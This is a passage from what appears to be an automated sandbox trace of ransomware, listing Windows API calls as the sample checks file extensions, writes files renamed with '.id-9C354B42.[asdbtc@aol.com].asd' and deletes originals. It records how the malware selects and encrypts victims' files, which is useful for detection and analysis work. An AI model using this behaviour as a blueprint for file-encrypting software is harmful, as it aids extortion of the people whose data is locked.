68 [0052.262] lstrlenW (lpString=".jpg") returned 4 [0052.262] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0052.262] lstrcmpiW (lpString1=".jpg", lpString2=".asd") returned 1 [0052.262] lstrlenW (lpString="Garden.jpg") returned 10 [0052.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.263] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=23871) returned 1 [0052.263] CloseHandle (hObject=0x188) returned 1 [0052.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20 [0052.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.263] lstrlenW (lpString=".doc") returned 4 [0052.263] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0052.263] lstrlenW (lpString=".docx") returned 5 [0052.263] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0052.263] lstrlenW (lpString=".pdf") returned 4 [0052.263] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0052.263] lstrlenW (lpString=".xls") returned 4 [0052.263] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0052.263] lstrlenW (lpString=".xlsx") returned 5 [0052.263] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0052.263] lstrlenW (lpString=".ppt") returned 4 [0052.263] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0052.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.264] lstrlenW (lpString=".zip") returned 4 [0052.264] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0052.264] lstrlenW (lpString=".rar") returned 4 [0052.264] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0052.264] lstrlenW (lpString=".bz2") returned 4 [0052.264] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0052.264] lstrlenW (lpString=".7z") returned 3 [0052.264] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0052.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.264] lstrlenW (lpString=".dbf") returned 4 [0052.264] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0052.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.264] lstrlenW (lpString=".1cd") returned 4 [0052.264] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0052.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.264] lstrlenW (lpString=".jpg") returned 4 [0052.264] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0052.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.264] lstrlenW (lpString=".doc") returned 4 [0052.264] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0052.264] lstrlenW (lpString=".docx") returned 5 [0052.264] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1 [0052.264] lstrlenW (lpString=".pdf") returned 4 [0052.264] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0052.264] lstrlenW (lpString=".xls") returned 4 [0052.264] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0052.264] lstrlenW (lpString=".xlsx") returned 5 [0052.264] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1 [0052.264] lstrlenW (lpString=".ppt") returned 4 [0052.265] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0052.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.265] lstrlenW (lpString=".zip") returned 4 [0052.265] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0052.265] lstrlenW (lpString=".rar") returned 4 [0052.265] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0052.265] lstrlenW (lpString=".bz2") returned 4 [0052.265] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0052.265] lstrlenW (lpString=".7z") returned 3 [0052.265] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0052.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.265] lstrlenW (lpString=".dbf") returned 4 [0052.265] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0052.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.265] lstrlenW (lpString=".1cd") returned 4 [0052.265] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0052.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68 [0052.265] lstrlenW (lpString=".jpg") returned 4 [0052.265] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0052.265] lstrcmpiW (lpString1=".emf", lpString2=".asd") returned 1 [0052.265] lstrlenW (lpString="Genko_1.emf") returned 11 [0052.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.449] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=5524) returned 1 [0052.449] CloseHandle (hObject=0x188) returned 1 [0052.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20 [0052.449] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.449] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.450] lstrlenW (lpString=".doc") returned 4 [0052.450] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0052.450] lstrlenW (lpString=".docx") returned 5 [0052.450] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0052.450] lstrlenW (lpString=".pdf") returned 4 [0052.450] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0052.450] lstrlenW (lpString=".xls") returned 4 [0052.450] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0052.450] lstrlenW (lpString=".xlsx") returned 5 [0052.450] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0052.450] lstrlenW (lpString=".ppt") returned 4 [0052.450] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0052.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.450] lstrlenW (lpString=".zip") returned 4 [0052.450] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0052.450] lstrlenW (lpString=".rar") returned 4 [0052.450] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0052.450] lstrlenW (lpString=".bz2") returned 4 [0052.450] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0052.450] lstrlenW (lpString=".7z") returned 3 [0052.450] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0052.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.450] lstrlenW (lpString=".dbf") returned 4 [0052.450] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0052.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.450] lstrlenW (lpString=".1cd") returned 4 [0052.450] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0052.450] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.450] lstrlenW (lpString=".jpg") returned 4 [0052.450] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0052.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.451] lstrlenW (lpString=".doc") returned 4 [0052.451] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0052.451] lstrlenW (lpString=".docx") returned 5 [0052.451] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1 [0052.451] lstrlenW (lpString=".pdf") returned 4 [0052.451] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0052.451] lstrlenW (lpString=".xls") returned 4 [0052.451] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0052.451] lstrlenW (lpString=".xlsx") returned 5 [0052.451] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1 [0052.451] lstrlenW (lpString=".ppt") returned 4 [0052.451] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0052.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.451] lstrlenW (lpString=".zip") returned 4 [0052.451] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0052.451] lstrlenW (lpString=".rar") returned 4 [0052.451] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0052.451] lstrlenW (lpString=".bz2") returned 4 [0052.451] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0052.451] lstrlenW (lpString=".7z") returned 3 [0052.451] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0052.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.451] lstrlenW (lpString=".dbf") returned 4 [0052.451] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0052.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.451] lstrlenW (lpString=".1cd") returned 4 [0052.451] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0052.451] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69 [0052.451] lstrlenW (lpString=".jpg") returned 4 [0052.451] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0052.452] lstrcmpiW (lpString1=".emf", lpString2=".asd") returned 1 [0052.452] lstrlenW (lpString="Genko_2.emf") returned 11 [0052.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0052.452] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=10340) returned 1 [0052.452] CloseHandle (hObject=0x188) returned 1 [0052.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20 [0052.452] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.452] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.452] lstrlenW (lpString=".doc") returned 4 [0052.452] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0052.452] lstrlenW (lpString=".docx") returned 5 [0052.452] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0052.452] lstrlenW (lpString=".pdf") returned 4 [0052.453] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0052.453] lstrlenW (lpString=".xls") returned 4 [0052.453] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0052.453] lstrlenW (lpString=".xlsx") returned 5 [0052.453] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0052.453] lstrlenW (lpString=".ppt") returned 4 [0052.453] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0052.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.453] lstrlenW (lpString=".zip") returned 4 [0052.453] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0052.453] lstrlenW (lpString=".rar") returned 4 [0052.453] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0052.453] lstrlenW (lpString=".bz2") returned 4 [0052.453] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0052.453] lstrlenW (lpString=".7z") returned 3 [0052.453] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0052.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.453] lstrlenW (lpString=".dbf") returned 4 [0052.453] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0052.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.453] lstrlenW (lpString=".1cd") returned 4 [0052.453] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0052.453] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.453] lstrlenW (lpString=".jpg") returned 4 [0052.453] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0052.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.454] lstrlenW (lpString=".doc") returned 4 [0052.454] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0052.454] lstrlenW (lpString=".docx") returned 5 [0052.454] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1 [0052.454] lstrlenW (lpString=".pdf") returned 4 [0052.454] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0052.454] lstrlenW (lpString=".xls") returned 4 [0052.454] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0052.454] lstrlenW (lpString=".xlsx") returned 5 [0052.454] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1 [0052.454] lstrlenW (lpString=".ppt") returned 4 [0052.454] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0052.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.454] lstrlenW (lpString=".zip") returned 4 [0052.454] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0052.454] lstrlenW (lpString=".rar") returned 4 [0052.454] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0052.454] lstrlenW (lpString=".bz2") returned 4 [0052.454] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0052.454] lstrlenW (lpString=".7z") returned 3 [0052.454] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0052.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.454] lstrlenW (lpString=".dbf") returned 4 [0052.454] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0052.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.454] lstrlenW (lpString=".1cd") returned 4 [0052.454] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0052.454] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69 [0052.454] lstrlenW (lpString=".jpg") returned 4 [0052.454] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0052.455] lstrcmpiW (lpString1=".emf", lpString2=".asd") returned 1 [0052.455] lstrlenW (lpString="Graph.emf") returned 9 [0052.455] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0052.879] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x22fff1c | out: lpFileSize=0x22fff1c*=116724) returned 1 [0052.879] CloseHandle (hObject=0x170) returned 1 [0052.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0052.879] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0052.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0052.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0052.879] lstrlenW (lpString=".doc") returned 4 [0052.879] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0052.879] lstrlenW (lpString=".docx") returned 5 [0052.879] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0052.880] lstrlenW (lpString=".pdf") returned 4 [0052.880] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0052.880] lstrlenW (lpString=".xls") returned 4 [0052.880] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0052.880] lstrlenW (lpString=".xlsx") returned 5 [0052.880] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0052.880] lstrlenW (lpString=".ppt") returned 4 [0052.880] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0052.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0052.880] lstrlenW (lpString=".zip") returned 4 [0052.880] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0052.880] lstrlenW (lpString=".rar") returned 4 [0052.880] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0052.880] lstrlenW (lpString=".bz2") returned 4 [0052.880] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0052.880] lstrlenW (lpString=".7z") returned 3 [0052.880] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0052.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0052.880] lstrlenW (lpString=".dbf") returned 4 [0052.880] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0052.897] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.897] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0052.899] GetLastError () returned 0x0 [0052.899] ReadFile (in: hFile=0x170, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x621, lpOverlapped=0x0) returned 1 [0052.901] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0x630, lpOverlapped=0x0) returned 1 [0052.901] ReadFile (in: hFile=0x170, lpBuffer=0x3540020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x22ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesRead=0x22ffed4*=0x0, lpOverlapped=0x0) returned 1 [0052.902] WriteFile (in: hFile=0x210, lpBuffer=0x3540020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x22ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3540020*, lpNumberOfBytesWritten=0x22ffc9c*=0xea, lpOverlapped=0x0) returned 1 [0052.902] SetEndOfFile (hFile=0x210) returned 1 [0052.902] CloseHandle (hObject=0x210) returned 1 [0052.902] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x22ffec8 | out: lpNewFilePointer=0x0) returned 1 [0052.902] SetEndOfFile (hFile=0x170) returned 1 [0052.903] CloseHandle (hObject=0x170) returned 1 [0052.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x20) returned 1 [0052.903] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0052.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.903] lstrlenW (lpString=".doc") returned 4 [0052.903] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.904] lstrlenW (lpString=".docx") returned 5 [0052.904] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.904] lstrlenW (lpString=".pdf") returned 4 [0052.904] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.904] lstrlenW (lpString=".xls") returned 4 [0052.904] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.904] lstrlenW (lpString=".xlsx") returned 5 [0052.904] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.904] lstrlenW (lpString=".ppt") returned 4 [0052.904] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.904] lstrlenW (lpString=".zip") returned 4 [0052.904] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0052.904] lstrlenW (lpString=".rar") returned 4 [0052.904] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0052.904] lstrlenW (lpString=".bz2") returned 4 [0052.904] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0052.904] lstrlenW (lpString=".7z") returned 3 [0052.904] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.904] lstrlenW (lpString=".dbf") returned 4 [0052.904] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.904] lstrlenW (lpString=".1cd") returned 4 [0052.904] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.904] lstrlenW (lpString=".jpg") returned 4 [0052.904] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0052.904] lstrlenW (lpString=".doc") returned 4 [0052.904] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0052.905] lstrlenW (lpString=".docx") returned 5 [0052.905] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0052.905] lstrlenW (lpString=".pdf") returned 4 [0052.905] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0052.905] lstrlenW (lpString=".xls") returned 4 [0052.905] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0052.905] lstrlenW (lpString=".xlsx") returned 5 [0052.905] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0052.905] lstrlenW (lpString=".ppt") returned 4 [0052.905] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") 